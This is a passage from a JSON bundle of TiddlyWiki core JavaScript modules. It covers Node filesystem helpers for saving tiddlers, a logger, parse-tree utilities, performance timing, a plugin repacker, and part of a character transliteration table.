subDirPath + \"'\";\n\t\t\t}\n\t\t}\n\t\tpos = dirPath.indexOf(path.sep,pos + 1);\n\t}\n\treturn null;\n};\n\n/*\nRecursively create directories needed to contain a specified file\n*/\nexports.createFileDirectories = function(filePath) {\n\treturn $tw.utils.createDirectory(path.dirname(filePath));\n};\n\n/*\nRecursively delete a directory\n*/\nexports.deleteDirectory = function(dirPath) {\n\tif(fs.existsSync(dirPath)) {\n\t\tvar entries = fs.readdirSync(dirPath);\n\t\tfor(var entryIndex=0; entryIndex<entries.length; entryIndex++) {\n\t\t\tvar currPath = dirPath + path.sep + entries[entryIndex];\n\t\t\tif(fs.lstatSync(currPath).isDirectory()) {\n\t\t\t\t$tw.utils.deleteDirectory(currPath);\n\t\t\t} else {\n\t\t\t\tfs.unlinkSync(currPath);\n\t\t\t}\n\t\t}\n\tfs.rmdirSync(dirPath);\n\t}\n\treturn null;\n};\n\n/*\nCheck if a path identifies a directory\n*/\nexports.isDirectory = function(dirPath) {\n\treturn fs.existsSync(dirPath) && fs.statSync(dirPath).isDirectory();\n};\n\n/*\nCheck if a path identifies a directory that is empty\n*/\nexports.isDirectoryEmpty = function(dirPath) {\n\tif(!$tw.utils.isDirectory(dirPath)) {\n\t\treturn false;\n\t}\n\tvar files = fs.readdirSync(dirPath),\n\t\tempty = true;\n\t$tw.utils.each(files,function(file,index) {\n\t\tif(file.charAt(0) !== \".\") {\n\t\t\tempty = false;\n\t\t}\n\t});\n\treturn empty;\n};\n\n/*\nRecursively delete a tree of empty directories\n*/\nexports.deleteEmptyDirs = function(dirpath,callback) {\n\tvar self = this;\n\tfs.readdir(dirpath,function(err,files) {\n\t\tif(err) {\n\t\t\treturn callback(err);\n\t\t}\n\t\tif(files.length > 0) {\n\t\t\treturn callback(null);\n\t\t}\n\t\tfs.rmdir(dirpath,function(err) {\n\t\t\tif(err) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\tself.deleteEmptyDirs(path.dirname(dirpath),callback);\n\t\t});\n\t});\n};\n\n/*\nCreate a fileInfo object for saving a tiddler:\n\tfilepath: the absolute path to the file containing the tiddler\n\ttype: the type of the tiddler file (NOT the type of the tiddler)\n\thasMetaFile: true if the file also has a companion .meta file\nOptions include:\n\tdirectory: absolute path of root directory to which we are saving\n\tpathFilters: optional array of filters to be used to generate the base path\n\twiki: optional wiki for evaluating the pathFilters\n*/\nexports.generateTiddlerFileInfo = function(tiddler,options) {\n\tvar fileInfo = {};\n\t// Check if the tiddler has any unsafe fields that can't be expressed in a .tid or .meta file: containing control characters, or leading/trailing whitespace\n\tvar hasUnsafeFields = false;\n\t$tw.utils.each(tiddler.getFieldStrings(),function(value,fieldName) {\n\t\tif(fieldName !== \"text\") {\n\t\t\thasUnsafeFields = hasUnsafeFields || /[\\x00-\\x1F]/mg.test(value);\n\t\t\thasUnsafeFields = hasUnsafeFields || ($tw.utils.trim(value) !== value);\n\t\t}\n\t});\n\t// Check for field values \n\tif(hasUnsafeFields) {\n\t\t// Save as a JSON file\n\t\tfileInfo.type = \"application/json\";\n\t\tfileInfo.hasMetaFile = false;\n\t} else {\n\t\t// Save as a .tid or a text/binary file plus a .meta file\n\t\tvar tiddlerType = tiddler.fields.type || \"text/vnd.tiddlywiki\";\n\t\tif(tiddlerType === \"text/vnd.tiddlywiki\") {\n\t\t\t// Save as a .tid file\n\t\t\tfileInfo.type = \"application/x-tiddler\";\n\t\t\tfileInfo.hasMetaFile = false;\n\t\t} else {\n\t\t\t// Save as a text/binary file and a .meta file\n\t\t\tfileInfo.type = tiddlerType;\n\t\t\tfileInfo.hasMetaFile = true;\n\t\t}\n\t}\n\t// Take the file extension from the tiddler content type\n\tvar contentTypeInfo = $tw.config.contentTypeInfo[fileInfo.type] || {extension: \"\"};\n\t// Generate the filepath\n\tfileInfo.filepath = $tw.utils.generateTiddlerFilepath(tiddler.fields.title,{\n\t\textension: contentTypeInfo.extension,\n\t\tdirectory: options.directory,\n\t\tpathFilters: options.pathFilters,\n\t\twiki: options.wiki\n\t});\n\treturn fileInfo;\n};\n\n/*\nGenerate the filepath for saving a tiddler\nOptions include:\n\textension: file extension to be added the finished filepath\n\tdirectory: absolute path of root directory to which we are saving\n\tpathFilters: optional array of filters to be used to generate the base path\n\twiki: optional wiki for evaluating the pathFilters\n*/\nexports.generateTiddlerFilepath = function(title,options) {\n\tvar self = this,\n\t\tdirectory = options.directory || \"\",\n\t\textension = options.extension || \"\",\n\t\tfilepath;\n\t// Check if any of the pathFilters applies\n\tif(options.pathFilters && options.wiki) {\n\t\t$tw.utils.each(options.pathFilters,function(filter) {\n\t\t\tif(!filepath) {\n\t\t\t\tvar source = options.wiki.makeTiddlerIterator([title]),\n\t\t\t\t\tresult = options.wiki.filterTiddlers(filter,null,source);\n\t\t\t\tif(result.length > 0) {\n\t\t\t\t\tfilepath = result[0];\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n\t// If not, generate a base pathname\n\tif(!filepath) {\n\t\tfilepath = title;\n\t\t// If the filepath already ends in the extension then remove it\n\t\tif(filepath.substring(filepath.length - extension.length) === extension) {\n\t\t\tfilepath = filepath.substring(0,filepath.length - extension.length);\n\t\t}\n\t\t// Remove any forward or backward slashes so we don't create directories\n\t\tfilepath = filepath.replace(/\\/|\\\\/g,\"_\");\n\t}\n\t// Don't let the filename start with a dot because such files are invisible on *nix\n\tfilepath = filepath.replace(/^\\./g,\"_\");\n\t// Remove any characters that can't be used in cross-platform filenames\n\tfilepath = $tw.utils.transliterate(filepath.replace(/<|>|\\:|\\\"|\\||\\?|\\*|\\^/g,\"_\"));\n\t// Truncate the filename if it is too long\n\tif(filepath.length > 200) {\n\t\tfilepath = filepath.substr(0,200);\n\t}\n\t// If the resulting filename is blank (eg because the title is just punctuation characters)\n\tif(!filepath) {\n\t\t// ...then just use the character codes of the title\n\t\tfilepath = \"\";\t\n\t\t$tw.utils.each(title.split(\"\"),function(char) {\n\t\t\tif(filepath) {\n\t\t\t\tfilepath += \"-\";\n\t\t\t}\n\t\t\tfilepath += char.charCodeAt(0).toString();\n\t\t});\n\t}\n\t// Add a uniquifier if the file already exists\n\tvar fullPath,\n\t\tcount = 0;\n\tdo {\n\t\tfullPath = path.resolve(directory,filepath + (count ? \"_\" + count : \"\") + extension);\n\t\tcount++;\n\t} while(fs.existsSync(fullPath));\n\t// Return the full path to the file\n\treturn fullPath;\n};\n\n/*\nSave a tiddler to a file described by the fileInfo:\n\tfilepath: the absolute path to the file containing the tiddler\n\ttype: the type of the tiddler file (NOT the type of the tiddler)\n\thasMetaFile: true if the file also has a companion .meta file\n*/\nexports.saveTiddlerToFile = function(tiddler,fileInfo,callback) {\n\t$tw.utils.createDirectory(path.dirname(fileInfo.filepath));\n\tif(fileInfo.hasMetaFile) {\n\t\t// Save the tiddler as a separate body and meta file\n\t\tvar typeInfo = $tw.config.contentTypeInfo[tiddler.fields.type || \"text/plain\"] || {encoding: \"utf8\"};\n\t\tfs.writeFile(fileInfo.filepath,tiddler.fields.text,typeInfo.encoding,function(err) {\n\t\t\tif(err) {\n\t\t\t\treturn callback(err);\n\t\t\t}\n\t\t\tfs.writeFile(fileInfo.filepath + \".meta\",tiddler.getFieldStringBlock({exclude: [\"text\",\"bag\"]}),\"utf8\",callback);\n\t\t});\n\t} else {\n\t\t// Save the tiddler as a self contained templated file\n\t\tif(fileInfo.type === \"application/x-tiddler\") {\n\t\t\tfs.writeFile(fileInfo.filepath,tiddler.getFieldStringBlock({exclude: [\"text\",\"bag\"]}) + (!!tiddler.fields.text ? \"\\n\\n\" + tiddler.fields.text : \"\"),\"utf8\",callback);\n\t\t} else {\n\t\t\tfs.writeFile(fileInfo.filepath,JSON.stringify([tiddler.getFieldStrings({exclude: [\"bag\"]})],null,$tw.config.preferences.jsonSpaces),\"utf8\",callback);\n\t\t}\n\t}\n};\n\n/*\nSave a tiddler to a file described by the fileInfo:\n\tfilepath: the absolute path to the file containing the tiddler\n\ttype: the type of the tiddler file (NOT the type of the tiddler)\n\thasMetaFile: true if the file also has a companion .meta file\n*/\nexports.saveTiddlerToFileSync = function(tiddler,fileInfo) {\n\t$tw.utils.createDirectory(path.dirname(fileInfo.filepath));\n\tif(fileInfo.hasMetaFile) {\n\t\t// Save the tiddler as a separate body and meta file\n\t\tvar typeInfo = $tw.config.contentTypeInfo[tiddler.fields.type || \"text/plain\"] || {encoding: \"utf8\"};\n\t\tfs.writeFileSync(fileInfo.filepath,tiddler.fields.text,typeInfo.encoding);\n\t\tfs.writeFileSync(fileInfo.filepath + \".meta\",tiddler.getFieldStringBlock({exclude: [\"text\",\"bag\"]}),\"utf8\");\n\t} else {\n\t\t// Save the tiddler as a self contained templated file\n\t\tif(fileInfo.type === \"application/x-tiddler\") {\n\t\t\tfs.writeFileSync(fileInfo.filepath,tiddler.getFieldStringBlock({exclude: [\"text\",\"bag\"]}) + (!!tiddler.fields.text ? \"\\n\\n\" + tiddler.fields.text : \"\"),\"utf8\");\n\t\t} else {\n\t\t\tfs.writeFileSync(fileInfo.filepath,JSON.stringify([tiddler.getFieldStrings({exclude: [\"bag\"]})],null,$tw.config.preferences.jsonSpaces),\"utf8\");\n\t\t}\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "utils-node"
},
"$:/core/modules/utils/logger.js": {
"title": "$:/core/modules/utils/logger.js",
"text": "/*\\\ntitle: $:/core/modules/utils/logger.js\ntype: application/javascript\nmodule-type: utils\n\nA basic logging implementation\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar ALERT_TAG = \"$:/tags/Alert\";\n\n/*\nMake a new logger\n*/\nfunction Logger(componentName,options) {\n\toptions = options || {};\n\tthis.componentName = componentName || \"\";\n\tthis.colour = options.colour || \"white\";\n\tthis.enable = \"enable\" in options ? options.enable : true;\n\tthis.save = \"save\" in options ? options.save : true;\n\tthis.saveLimit = options.saveLimit || 100 * 1024;\n\tthis.saveBufferLogger = this;\n\tthis.buffer = \"\";\n\tthis.alertCount = 0;\n}\n\nLogger.prototype.setSaveBuffer = function(logger) {\n\tthis.saveBufferLogger = logger;\n};\n\n/*\nLog a message\n*/\nLogger.prototype.log = function(/* args */) {\n\tvar self = this;\n\tif(this.enable) {\n\t\tif(this.saveBufferLogger.save) {\n\t\t\tthis.saveBufferLogger.buffer += $tw.utils.formatDateString(new Date(),\"YYYY MM DD 0hh:0mm:0ss.0XXX\") + \":\";\n\t\t\t$tw.utils.each(Array.prototype.slice.call(arguments,0),function(arg,index) {\n\t\t\t\tself.saveBufferLogger.buffer += \" \" + arg;\n\t\t\t});\n\t\t\tthis.saveBufferLogger.buffer += \"\\n\";\n\t\t\tthis.saveBufferLogger.buffer = this.saveBufferLogger.buffer.slice(-this.saveBufferLogger.saveLimit);\t\t\t\n\t\t}\n\t\tif(console !== undefined && console.log !== undefined) {\n\t\t\treturn Function.apply.call(console.log, console, [$tw.utils.terminalColour(this.colour),this.componentName + \":\"].concat(Array.prototype.slice.call(arguments,0)).concat($tw.utils.terminalColour()));\n\t\t}\n\t} \n};\n\n/*\nRead the message buffer\n*/\nLogger.prototype.getBuffer = function() {\n\treturn this.saveBufferLogger.buffer;\n};\n\n/*\nLog a structure as a table\n*/\nLogger.prototype.table = function(value) {\n\t(console.table || console.log)(value);\n};\n\n/*\nAlert a message\n*/\nLogger.prototype.alert = function(/* args */) {\n\tif(this.enable) {\n\t\t// Prepare the text of the alert\n\t\tvar text = Array.prototype.join.call(arguments,\" \");\n\t\t// Create alert tiddlers in the browser\n\t\tif($tw.browser) {\n\t\t\t// Check if there is an existing alert with the same text and the same component\n\t\t\tvar existingAlerts = $tw.wiki.getTiddlersWithTag(ALERT_TAG),\n\t\t\t\talertFields,\n\t\t\t\texistingCount,\n\t\t\t\tself = this;\n\t\t\t$tw.utils.each(existingAlerts,function(title) {\n\t\t\t\tvar tiddler = $tw.wiki.getTiddler(title);\n\t\t\t\tif(tiddler.fields.text === text && tiddler.fields.component === self.componentName && tiddler.fields.modified && (!alertFields || tiddler.fields.modified < alertFields.modified)) {\n\t\t\t\t\t\talertFields = $tw.utils.extend({},tiddler.fields);\n\t\t\t\t}\n\t\t\t});\n\t\t\tif(alertFields) {\n\t\t\t\texistingCount = alertFields.count || 1;\n\t\t\t} else {\n\t\t\t\talertFields = {\n\t\t\t\t\ttitle: $tw.wiki.generateNewTitle(\"$:/temp/alerts/alert\",{prefix: \"\"}),\n\t\t\t\t\ttext: text,\n\t\t\t\t\ttags: [ALERT_TAG],\n\t\t\t\t\tcomponent: this.componentName\n\t\t\t\t};\n\t\t\t\texistingCount = 0;\n\t\t\t\tthis.alertCount += 1;\n\t\t\t}\n\t\t\talertFields.modified = new Date();\n\t\t\tif(++existingCount > 1) {\n\t\t\t\talertFields.count = existingCount;\n\t\t\t} else {\n\t\t\t\talertFields.count = undefined;\n\t\t\t}\n\t\t\t$tw.wiki.addTiddler(new $tw.Tiddler(alertFields));\n\t\t\t// Log the alert as well\n\t\t\tthis.log.apply(this,Array.prototype.slice.call(arguments,0));\n\t\t} else {\n\t\t\t// Print an orange message to the console if not in the browser\n\t\t\tconsole.error(\"\\x1b[1;33m\" + text + \"\\x1b[0m\");\n\t\t}\t\t\n\t}\n};\n\n/*\nClear outstanding alerts\n*/\nLogger.prototype.clearAlerts = function() {\n\tvar self = this;\n\tif($tw.browser && this.alertCount > 0) {\n\t\t$tw.utils.each($tw.wiki.getTiddlersWithTag(ALERT_TAG),function(title) {\n\t\t\tvar tiddler = $tw.wiki.getTiddler(title);\n\t\t\tif(tiddler.fields.component === self.componentName) {\n\t\t\t\t$tw.wiki.deleteTiddler(title);\n\t\t\t}\n\t\t});\n\t\tthis.alertCount = 0;\n\t}\n};\n\nexports.Logger = Logger;\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/parsetree.js": {
"title": "$:/core/modules/utils/parsetree.js",
"text": "/*\\\ntitle: $:/core/modules/utils/parsetree.js\ntype: application/javascript\nmodule-type: utils\n\nParse tree utility functions.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.addAttributeToParseTreeNode = function(node,name,value) {\n\tnode.attributes = node.attributes || {};\n\tnode.attributes[name] = {type: \"string\", value: value};\n};\n\nexports.getAttributeValueFromParseTreeNode = function(node,name,defaultValue) {\n\tif(node.attributes && node.attributes[name] && node.attributes[name].value !== undefined) {\n\t\treturn node.attributes[name].value;\n\t}\n\treturn defaultValue;\n};\n\nexports.addClassToParseTreeNode = function(node,classString) {\n\tvar classes = [];\n\tnode.attributes = node.attributes || {};\n\tnode.attributes[\"class\"] = node.attributes[\"class\"] || {type: \"string\", value: \"\"};\n\tif(node.attributes[\"class\"].type === \"string\") {\n\t\tif(node.attributes[\"class\"].value !== \"\") {\n\t\t\tclasses = node.attributes[\"class\"].value.split(\" \");\n\t\t}\n\t\tif(classString !== \"\") {\n\t\t\t$tw.utils.pushTop(classes,classString.split(\" \"));\n\t\t}\n\t\tnode.attributes[\"class\"].value = classes.join(\" \");\n\t}\n};\n\nexports.addStyleToParseTreeNode = function(node,name,value) {\n\t\tnode.attributes = node.attributes || {};\n\t\tnode.attributes.style = node.attributes.style || {type: \"string\", value: \"\"};\n\t\tif(node.attributes.style.type === \"string\") {\n\t\t\tnode.attributes.style.value += name + \":\" + value + \";\";\n\t\t}\n};\n\nexports.findParseTreeNode = function(nodeArray,search) {\n\tfor(var t=0; t<nodeArray.length; t++) {\n\t\tif(nodeArray[t].type === search.type && nodeArray[t].tag === search.tag) {\n\t\t\treturn nodeArray[t];\n\t\t}\n\t}\n\treturn undefined;\n};\n\n/*\nHelper to get the text of a parse tree node or array of nodes\n*/\nexports.getParseTreeText = function getParseTreeText(tree) {\n\tvar output = [];\n\tif($tw.utils.isArray(tree)) {\n\t\t$tw.utils.each(tree,function(node) {\n\t\t\toutput.push(getParseTreeText(node));\n\t\t});\n\t} else {\n\t\tif(tree.type === \"text\") {\n\t\t\toutput.push(tree.text);\n\t\t}\n\t\tif(tree.children) {\n\t\t\treturn getParseTreeText(tree.children);\n\t\t}\n\t}\n\treturn output.join(\"\");\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/performance.js": {
"title": "$:/core/modules/utils/performance.js",
"text": "/*\\\ntitle: $:/core/modules/utils/performance.js\ntype: application/javascript\nmodule-type: global\n\nPerformance measurement.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nfunction Performance(enabled) {\n\tthis.enabled = !!enabled;\n\tthis.measures = {}; // Hashmap by measurement name of {time:, invocations:}\n\tthis.logger = new $tw.utils.Logger(\"performance\");\n\tthis.showGreeting();\n}\n\nPerformance.prototype.showGreeting = function() {\n\tif($tw.browser) {\n\t\tthis.logger.log(\"Execute $tw.perf.log(); to see filter execution timings\");\t\t\n\t}\n};\n\n/*\nWrap performance reporting around a top level function\n*/\nPerformance.prototype.report = function(name,fn) {\n\tvar self = this;\n\tif(this.enabled) {\n\t\treturn function() {\n\t\t\tvar startTime = $tw.utils.timer(),\n\t\t\t\tresult = fn.apply(this,arguments);\n\t\t\tself.logger.log(name + \": \" + $tw.utils.timer(startTime).toFixed(2) + \"ms\");\n\t\t\treturn result;\n\t\t};\n\t} else {\n\t\treturn fn;\n\t}\n};\n\nPerformance.prototype.log = function() {\n\tvar self = this,\n\t\ttotalTime = 0,\n\t\torderedMeasures = Object.keys(this.measures).sort(function(a,b) {\n\t\t\tif(self.measures[a].time > self.measures[b].time) {\n\t\t\t\treturn -1;\n\t\t\t} else if (self.measures[a].time < self.measures[b].time) {\n\t\t\t\treturn + 1;\n\t\t\t} else {\n\t\t\t\treturn 0;\n\t\t\t}\n\t\t});\n\t$tw.utils.each(orderedMeasures,function(name) {\n\t\ttotalTime += self.measures[name].time;\n\t});\n\tvar results = []\n\t$tw.utils.each(orderedMeasures,function(name) {\n\t\tvar measure = self.measures[name];\n\t\tresults.push({name: name,invocations: measure.invocations, avgTime: measure.time / measure.invocations, totalTime: measure.time, percentTime: (measure.time / totalTime) * 100})\n\t});\n\tself.logger.table(results);\n};\n\n/*\nWrap performance measurements around a subfunction\n*/\nPerformance.prototype.measure = function(name,fn) {\n\tvar self = this;\n\tif(this.enabled) {\n\t\treturn function() {\n\t\t\tvar startTime = $tw.utils.timer(),\n\t\t\t\tresult = fn.apply(this,arguments);\n\t\t\tif(!(name in self.measures)) {\n\t\t\t\tself.measures[name] = {time: 0, invocations: 0};\n\t\t\t}\n\t\t\tself.measures[name].time += $tw.utils.timer(startTime);\n\t\t\tself.measures[name].invocations++;\n\t\t\treturn result;\n\t\t};\n\t} else {\n\t\treturn fn;\n\t}\n};\n\nexports.Performance = Performance;\n\n})();\n",
"type": "application/javascript",
"module-type": "global"
},
"$:/core/modules/utils/pluginmaker.js": {
"title": "$:/core/modules/utils/pluginmaker.js",
"text": "/*\\\ntitle: $:/core/modules/utils/pluginmaker.js\ntype: application/javascript\nmodule-type: utils\n\nA quick and dirty way to pack up plugins within the browser.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nRepack a plugin, and then delete any non-shadow payload tiddlers\n*/\nexports.repackPlugin = function(title,additionalTiddlers,excludeTiddlers) {\n\tadditionalTiddlers = additionalTiddlers || [];\n\texcludeTiddlers = excludeTiddlers || [];\n\t// Get the plugin tiddler\n\tvar pluginTiddler = $tw.wiki.getTiddler(title);\n\tif(!pluginTiddler) {\n\t\tthrow \"No such tiddler as \" + title;\n\t}\n\t// Extract the JSON\n\tvar jsonPluginTiddler;\n\ttry {\n\t\tjsonPluginTiddler = JSON.parse(pluginTiddler.fields.text);\n\t} catch(e) {\n\t\tthrow \"Cannot parse plugin tiddler \" + title + \"\\n\" + $tw.language.getString(\"Error/Caption\") + \": \" + e;\n\t}\n\t// Get the list of tiddlers\n\tvar tiddlers = Object.keys(jsonPluginTiddler.tiddlers);\n\t// Add the additional tiddlers\n\t$tw.utils.pushTop(tiddlers,additionalTiddlers);\n\t// Remove any excluded tiddlers\n\tfor(var t=tiddlers.length-1; t>=0; t--) {\n\t\tif(excludeTiddlers.indexOf(tiddlers[t]) !== -1) {\n\t\t\ttiddlers.splice(t,1);\n\t\t}\n\t}\n\t// Pack up the tiddlers into a block of JSON\n\tvar plugins = {};\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tvar tiddler = $tw.wiki.getTiddler(title),\n\t\t\tfields = {};\n\t\t$tw.utils.each(tiddler.fields,function (value,name) {\n\t\t\tfields[name] = tiddler.getFieldString(name);\n\t\t});\n\t\tplugins[title] = fields;\n\t});\n\t// Retrieve and bump the version number\n\tvar pluginVersion = $tw.utils.parseVersion(pluginTiddler.getFieldString(\"version\") || \"0.0.0\") || {\n\t\t\tmajor: \"0\",\n\t\t\tminor: \"0\",\n\t\t\tpatch: \"0\"\n\t\t};\n\tpluginVersion.patch++;\n\tvar version = pluginVersion.major + \".\" + pluginVersion.minor + \".\" + pluginVersion.patch;\n\tif(pluginVersion.prerelease) {\n\t\tversion += \"-\" + pluginVersion.prerelease;\n\t}\n\tif(pluginVersion.build) {\n\t\tversion += \"+\" + pluginVersion.build;\n\t}\n\t// Save the tiddler\n\t$tw.wiki.addTiddler(new $tw.Tiddler(pluginTiddler,{text: JSON.stringify({tiddlers: plugins},null,4), version: version}));\n\t// Delete any non-shadow constituent tiddlers\n\t$tw.utils.each(tiddlers,function(title) {\n\t\tif($tw.wiki.tiddlerExists(title)) {\n\t\t\t$tw.wiki.deleteTiddler(title);\n\t\t}\n\t});\n\t// Trigger an autosave\n\t$tw.rootWidget.dispatchEvent({type: \"tm-auto-save-wiki\"});\n\t// Return a heartwarming confirmation\n\treturn \"Plugin \" + title + \" successfully saved\";\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "utils"
},
"$:/core/modules/utils/transliterate.js": {
"title": "$:/core/modules/utils/transliterate.js",
"text": "/*\\\ntitle: $:/core/modules/utils/transliterate.js\ntype: application/javascript\nmodule-type: utils\n\nTransliteration static utility functions.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\n/*\nTransliterate string to ASCII\n\n(Some pairs taken from http://semplicewebsites.com/removing-accents-javascript)\n*/\nexports.transliterationPairs = {\n\t\"Á\":\"A\",\n\t\"Ă\":\"A\",\n\t\"Ắ\":\"A\",\n\t\"Ặ\":\"A\",\n\t\"Ằ\":\"A\",\n\t\"Ẳ\":\"A\",\n\t\"Ẵ\":\"A\",\n\t\"Ǎ\":\"A\",\n\t\"Â\":\"A\",\n\t\"Ấ\":\"A\",\n\t\"Ậ\":\"A\",\n\t\"Ầ\":\"A\",\n\t\"Ẩ\":\"A\",\n\t\"Ẫ\":\"A\",\n\t\"Ä\":\"A\",\n\t\"Ǟ\":\"A\",\n\t\"Ȧ\":\"A\",\n\t\"Ǡ\":\"A\",\n\t\"Ạ\":\"A\",\n\t\"Ȁ\":\"A\",\n\t\"À\":\"A\",\n\t\"Ả\":\"A\",\n\t\"Ȃ\":\"A\",\n\t\"Ā\":\"A\",\n\t\"Ą\":\"A\",\n\t\"Å\":\"A\",\n\t\"Ǻ\":\"A\",\n\t\"Ḁ\":\"A\",\n\t\"Ⱥ\":\"A\",\n\t\"Ã\":\"A\",\n\t\"Ꜳ\":\"AA\",\n\t\"Æ\":\"AE\",\n\t\"Ǽ\":\"AE\",\n\t\"Ǣ\":\"AE\",\n\t\"Ꜵ\":\"AO\",\n\t\"Ꜷ\":\"AU\",\n\t\"Ꜹ\":\"AV\",\n\t\"Ꜻ\":\"AV\",\n\t\"Ꜽ\":\"AY\",\n\t\"Ḃ\":\"B\",\n\t\"Ḅ\":\"B\",\n\t\"Ɓ\":\"B\",\n\t\"Ḇ\":\"B\",\n\t\"Ƀ\":\"B\",\n\t\"Ƃ\":\"B\",\n\t\"Ć\":\"C\",\n\t\"Č\":\"C\",\n\t\"Ç\":\"C\",\n\t\"Ḉ\":\"C\",\n\t\"Ĉ\":\"C\",\n\t\"Ċ\":\"C\",\n\t\"Ƈ\":\"C\",\n\t\"Ȼ\":\"C\",\n\t\"Ď\":\"D\",\n\t\"Ḑ\":\"D\",\n\t\"Ḓ\":\"D\",\n\t\"Ḋ\":\"D\",\n\t\"Ḍ\":\"D\",\n\t\"Ɗ\":\"D\",\n\t\"Ḏ\":\"D\",\n\t\"Dz\":\"D\",\n\t\"Dž\":\"D\",\n\t\"Đ\":\"D\",\n\t\"Ƌ\":\"D\",\n\t\"DZ\":\"DZ\",\n\t\"DŽ\":\"DZ\",\n\t\"É\":\"E\",\n\t\"Ĕ\":\"E\",\n\t\"Ě\":\"E\",\n\t\"Ȩ\":\"E\",\n\t\"Ḝ\":\"E\",\n\t\"Ê\":\"E\",\n\t\"Ế\":\"E\",\n\t\"Ệ\":\"E\",\n\t\"Ề\":\"E\",\n\t\"Ể\":\"E\",\n\t\"Ễ\":\"E\",\n\t\"Ḙ\":\"E\",\n\t\"Ë\":\"E\",\n\t\"Ė\":\"E\",\n\t\"Ẹ\":\"E\",\n\t\"Ȅ\":\"E\",\n\t\"È\":\"E\",\n\t\"Ẻ\":\"E\",\n\t\"Ȇ\":\"E\",\n\t\"Ē\":\"E\",\n\t\"Ḗ\":\"E\",\n\t\"Ḕ\":\"E\",\n\t\"Ę\":\"E\",\n\t\"Ɇ\":\"E\",\n\t\"Ẽ\":\"E\",\n\t\"Ḛ\":\"E\",\n\t\"Ꝫ\":\"ET\",\n\t\"Ḟ\":\"F\",\n\t\"Ƒ\":\"F\",\n\t\"Ǵ\":\"G\",\n\t\"Ğ\":\"G\",\n\t\"Ǧ\":\"G\",\n\t\"Ģ\":\"G\",\n\t\"Ĝ\":\"G\",\n\t\"Ġ\":\"G\",\n\t\"Ɠ\":\"G\",\n\t\"Ḡ\":\"G\",\n\t\"Ǥ\":\"G\",\n\t\"Ḫ\":\"H\",\n\t\"Ȟ\":\"H\",\n\t\"Ḩ\":\"H\",\n\t\"Ĥ\":\"H\",\n\t\"Ⱨ\":\"H\",\n\t\"Ḧ\":\"H\",\n\t\"Ḣ\":\"H\",\n\t\"Ḥ\":\"H\",\n\t\"Ħ\":\"H\",\n\t\"Í\":\"I\",\n\t\"Ĭ\":\"I\",\n\t\"Ǐ\":\"I\",\n\t\"Î\":\"I\",\n\t\"Ï\":\"I\",\n\t\"Ḯ\":\"I\",\n\t\"İ\":\"I\",\n\t\"Ị\":\"I\",\n\t\"Ȉ\":\"I\",\n\t\"Ì\":\"I\",\n\t\"Ỉ\":\"I\",\n\t\"Ȋ\":\"I\",\n\t\"Ī\":\"I\",\n\t\"Į\":\"I\",\n\t\"Ɨ\":\"I\",\n\t\"Ĩ\":\"I\",\n\t\"Ḭ\":\"I\",\n\t\"Ꝺ\":\"D\",\n\t\"Ꝼ\":\"F\",\n\t\"Ᵹ\":\"G\",\n\t\"Ꞃ\":\"R\",\n\t\"Ꞅ\":\"S\",\n\t\"Ꞇ\":\"T\",\n\t\"Ꝭ\":\"IS\",\n\t\"Ĵ\":\"J\",\n\t\"Ɉ\":\"J\",\n\t\"Ḱ\":\"K\",\n\t\"Ǩ\":\"K\",\n\t\"Ķ\":\"K\",\n\t\"Ⱪ\":\"K\",\n\t\"Ꝃ\":\"K\",\n\t\"Ḳ\":\"K\",\n\t\"Ƙ\":\"K\",\n\t\"Ḵ\":\"K\",\n\t\"Ꝁ\":\"K\",\n\t\"Ꝅ\":\"K\",\n\t\"Ĺ\":\"L\",\n\t\"Ƚ\":\"L\",\n\t\"Ľ\":\"L\",\n\t\"Ļ\":\"L\",\n\t\"Ḽ\":\"L\",\n\t\"Ḷ\":\"L\",\n\t\"Ḹ\":\"L\",\n\t\"Ⱡ\":\"L\",\n\t\"Ꝉ\":\"L\",\n\t\"Ḻ\":\"L\",\n\t\"Ŀ\":\"L\",\n\t\"Ɫ\":\"L\",\n\t\"Lj\":\"L\",\n\t\"Ł\":\"L\",\n\t\"LJ\":\"LJ\",\n\t\"Ḿ\":\"M\",\n\t\"Ṁ\":\"M\",\n\t\"Ṃ\":\"M\",\n\t\"Ɱ\":\"M\",\n\t\"Ń\":\"N\",\n\t\"Ň\":\"N\",\n\t\"Ņ\":\"N\",\n\t\"Ṋ\":\"N\",\n\t\"Ṅ\":\"N\",\n\t\"Ṇ\":\"N\",\n\t\"Ǹ\":\"N\",\n\t\"Ɲ\":\"N\",\n\t\"Ṉ\":\"N\",\n\t\"Ƞ\":\"N\",\n\t\"Nj\":\"N\",\n\t\"Ñ\":\"N\",\n\t\"NJ\":\"NJ\",\n\t\"Ó\":\"O\",\n\t\"Ŏ\":\"O\",\n\t\"Ǒ\":\"O\",\n\t\"Ô\":\"O\",\n\t\"Ố\":\"O\",\n\t\"Ộ\":\"O\",\n\t\"Ồ\":\"O\",\n\t\"Ổ\":\"O\",\n\t\"Ỗ\":\"O\",\n\t\"Ö\":\"O\",\n\t\"Ȫ\":\"O\",\n\t\"Ȯ\":\"O\",\n\t\"Ȱ\":\"O\",\n\t\"Ọ\":\"O\",\n\t\"Ő\":\"O\",\n\t\"Ȍ\":\"O\",\n\t\"Ò\":\"O\",\n\t\"Ỏ\":\"O\",\n\t\"Ơ\":\"O\",\n\t\"Ớ\":\"O\",\n\t\"Ợ\":\"O\",\n\t\"Ờ\":\"O\",\n\t\"Ở\":\"O\",\n\t\"Ỡ\":\"O\",\n\t\"Ȏ\":\"O\",\n\t\"Ꝋ\":\"O\",\n\t\"Ꝍ\":\"O\",\n\t\"Ō\":\"O\",\n\t\"Ṓ\":\"O\",\n\t\"